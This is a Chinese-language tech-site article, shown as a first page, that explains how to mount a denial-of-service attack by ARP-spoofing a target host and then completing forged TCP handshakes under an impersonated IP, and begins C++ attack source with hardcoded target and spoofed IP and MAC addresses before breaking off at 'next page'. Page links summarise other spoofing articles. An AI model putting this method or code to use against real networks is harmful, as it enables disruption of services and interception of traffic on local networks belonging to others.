当前位置:首页 » 服务器技术
开发技术指南» 文章正文
    引言: 从某种意义上说,如果能够制造TCP伪连接,那么D.o.S也就比较容易实现了。
 

 

 ·黑客技术-arp欺骗(1)    »显示摘要«
    摘要:本来不打算写这接下的一系列讨论欺骗的文章(计划中有arp欺骗、icmp欺骗、路由rip欺骗、ip地址欺骗等),这主要是自己有些担心有些人会给网管增加日常工作量,但是想想还是写的好,因为通常在你猛打完补丁后,你可能觉得你的系统安全了,但是,实际上,打补丁只是安全措施里的一个很基本的步骤而已,通常一个hacker要进入你的系统,他所要做的并不是你打补丁就可以避免的,象这些欺骗都要求你必须掌握相当的网络底层知识和合理安排物理布线才可阻止得了的。特别是多种手法混用......
    摘要:在大多数局域网的运行管理工作中,网络管理员负责管理用户ip地址的分配,用户通过正确地注册后才被认为是合法用户。在局域网上任何用户使用未经授权的ip地址都应视为ip非法使用。但在windows操作系统中,终端用户可以自由修改ip地址的设置,从而产生了ip地址非法使用的问题。改动后的ip地址在局域网中运行时可能出现的情况如下。 a. 非法的ip地址即ip地址不在规划的局域网范围内。b.重复的ip地址与已经分配且正在局域网运行的合法的ip地址发生资源冲突,使合......


基于ARP欺骗的TCP伪连接D.o.S
从某种意义上说,如果能够制造tcp伪连接,那么d.o.s也就比较容易实现了。以前liond8就曾经用这个思路做出了一个新型d.o.s,而今天,我用的也是这个思路。但是,如果直接伪造tcp三次握手而不作其他任何处理,那却是不行的。因为,当攻击的目标主机接收到我们发过去的伪造的syn包后会发回一个syn+ack包(也就是第二次握手)。而当我们的系统收到这个syn+ack包后,由于系统内并没有发起真正的tcp连接,因此系统会发回一个rst包,这个包将使目标主机重置连接。这样,这个伪连接就建立失败了。

【相关文章:Quidway 路由器配置桥配置命令(1

【扩展阅读:华为路由器与CISCO路由器在配置上的差

要解决这个问题,办法有不少,而我这里要用的方法就是arp欺骗。首先,我们要对目标主机进行arp欺骗,让它认为我们是同一网段中的另一台机器。然后我们就可以伪装这台机器向目标主机发起tcp伪连接了。这样一来,即使目标主机返回一个syn+ack包,这个包也不会进入到我们的系统(因为这个包的目的ip不会是我们而应该是我们伪装的那台主机的ip),这样,我们的系统也不会向目标主机发送rst包了。 【扩展信息:Cisco路由器口令恢复技术

打个比方,假设我们是主机a,现在我想要攻击主机b。首先,我先伪装主机c对b进行arp欺骗(以c的ip地址与a的mac地址构造arp应答包发送到b),这样,b的arp缓存中就会记录下c的ip对应a的mac地址。然后,我们再以c的ip为源ip构造syn数据包,向b发起tcp伪连接。当b收到这个syn包之后,它会构造一个syn+ack包发往c。但是,由于此时在b的arp缓存中记录着:c的ip对应a的mac地址,因此,这个syn+ack包实际上被发送到了a。虽然,这个包将被a的系统所丢弃(因为这个包的目的ip是c的ip而不是a的ip,所以a的系统将会丢弃这个包),但是,我们仍然可以从链路层直接将这个数据帧获取下来。得到了这个syn+ack包之后,我们需要再次伪装c向b发回一个ack包完成第三次握手。这样,tcp初始化连接的三次握手都完成了,我们的伪连接也成功建立了!

伪连接建立之后,我们还可以继续向目标主机发送数据,来保证tcp连接的存活。

这里,有几个需要注意的问题:首先,为了保证攻击过程中目标主机的arp缓存不被更改,我们需要持续不断的对其进行arp欺骗;第二,为了防止在攻击过程中我们伪装的主机向目标主机发起通信,刷新目标主机的arp缓存,对我们的攻击造成影响,我们还可以对伪装主机也同时进行arp欺骗,以增加攻击成功的几率。

好了,说了这么多,下面就给出我实现的源代码,欢迎大虾们多多指教。

// dos_by_arpcheat.cpp : defines the entry point for the console application.

//

#include "stdafx.h"

#include "winsock2.h"

#include "packet32.h"

#include "stdio.h"

#pragma comment(lib, "packet")

#pragma comment(lib, "ws2_32")

//下面几个宏是测试用的主机的ip与mac

#define simulate_mac "0011111d735a"     //伪装主机的mac地址

#define target_mac "001111c6f7fe"       //目的主机的mac地址

#define local_mac "00e06e41508f"        //本机mac地址

#define target_ip "211.83.97.24"        //目的主机的ip

#define simulate_ip "211.83.97.16"      //伪装主机的ip

#define ndis_packet_type_directed 0x0001 //直接模式

#pragma pack(push, 1)

struct et_header    //以太网头部

{

unsigned char   eh_dst[6];  

unsigned char   eh_src[6];

unsigned short  eh_type;

};

struct arp_header   //arp头部

{

unsigned short  arp_hdr;

unsigned short  arp_pro;

unsigned char   arp_hln;

unsigned char   arp_pln;

unsigned short  arp_opt;

unsigned char   arp_sha[6];

unsigned long   arp_spa;

unsigned char   arp_tha[6];

unsigned long   arp_tpa;

};

struct ip_header          //ip头部

{

char m_ver_hlen;      //4位版本号,4位ip头部长

char m_tos;

ushort m_tlen;


...   下一页
 ·如何知道网中ip是否占用    »显示摘要«
    摘要:问:我是一个小公司的网络管理员,最近总是出现ip地址冲突的问题,另外由于经常有外来人员使用笔记本连接公司网络,再加上公司的ip地址因为某种原因是手动设置的固定ip,公司对于ip地址分布也没有留有任何记录信息,所以当有新计算机要连接到网络中时只是随便设置一个,挑选的地址也是那些分布在网络末尾或比较大的数字,但是久而久之随意设置的ip地址过多,在新计算机连接网络时再设置ip地址很容易造成冲突。请问it168的专家是否有好办法可以解决我目前遇到的问题,帮助我在设......
» 本期热门文章:

©2000-2007 All Rights Reserved. 最佳浏览:1024X768 MSIE